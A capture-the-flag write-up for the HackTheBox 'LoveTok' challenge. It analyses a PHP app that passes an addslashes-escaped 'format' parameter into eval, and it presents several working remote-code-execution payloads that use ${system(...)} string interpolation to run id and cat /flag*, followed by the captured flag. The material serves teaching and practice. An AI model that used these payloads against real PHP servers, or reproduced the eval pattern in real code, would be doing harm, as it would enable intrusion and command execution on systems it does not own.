LoveTok
2 minutes to read
We are given the following website:
We also have the PHP source code of the server.
Source code analysis
There is only one controller (controllers/TimeController.php
):
<?php
class TimeController
{
public function index($router)
{
$format = isset($_GET['format']) ? $_GET['format'] : 'r';
$time = new TimeModel($format);
return $router->view('index', ['time' => $time->getTime()]);
}
}
As can be seen, it takes a format
parameter and calls TimeModel
(models/TimeModel.php
):
<?php
class TimeModel
{
public function __construct($format)
{
$this->format = addslashes($format);
[ $d, $h, $m, $s ] = [ rand(1, 6), rand(1, 23), rand(1, 59), rand(1, 69) ];
$this->prediction = "+${d} day +${h} hour +${m} minute +${s} second";
}
public function getTime()
{
eval('$time = date("' . $this->format . '", strtotime("' . $this->prediction . '"));');
return isset($time) ? $time : 'Something went terribly wrong';
}
}
This format
is sanitized with addslashes
, which escapes single quotes, double quotes, backslashes an null bytes. However, the getTime
method inserts the contents of format
inside the following PHP code:
$time = date("<format>", strtotime("<prediction>"));
The above code is interpreted with eval
, and we have control over format
.
Solution
We must find a way to inject PHP code in the above sentence. Our objective is to get Remote Code Execution, because the flag filename is randomized in entrypoint.sh
:
#!/bin/bash
# Secure entrypoint
chmod 600 /entrypoint.sh
FLAG=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1)
mv /flag /flag$FLAG
exec "$@"
Notice that our payload is inside double quotes, so we can use string interpolation like ${...}
and execute inline PHP code.
This is a simple proof of concept:
Notice that we cannot use strings (single quotes or double quotes), but we can use some tricks. For instance, we can use array_values($_GET)[1]
to take a string from another GET parameter. Or we can use this other trick to execute id
:
?format=id${system(substr($this->format, 0, 2))}
Flag
At this point, we can execute any system command, so we can use cat /flag*
to avoid knowing the random characters appended to the filename:
?format=cat /flag*${system(substr($this->format, 0, 10))}
HTB{wh3n_l0v3_g3ts_eval3d_sh3lls_st4rt_p0pp1ng}
These are other payloads to capture the flag:
?format=${system(array_values($_GET)[1])}&asdf=cat /flag*
?format=${system($_GET[1337])}&1337=cat /flag*
?format=${print(`cat /flag*`)}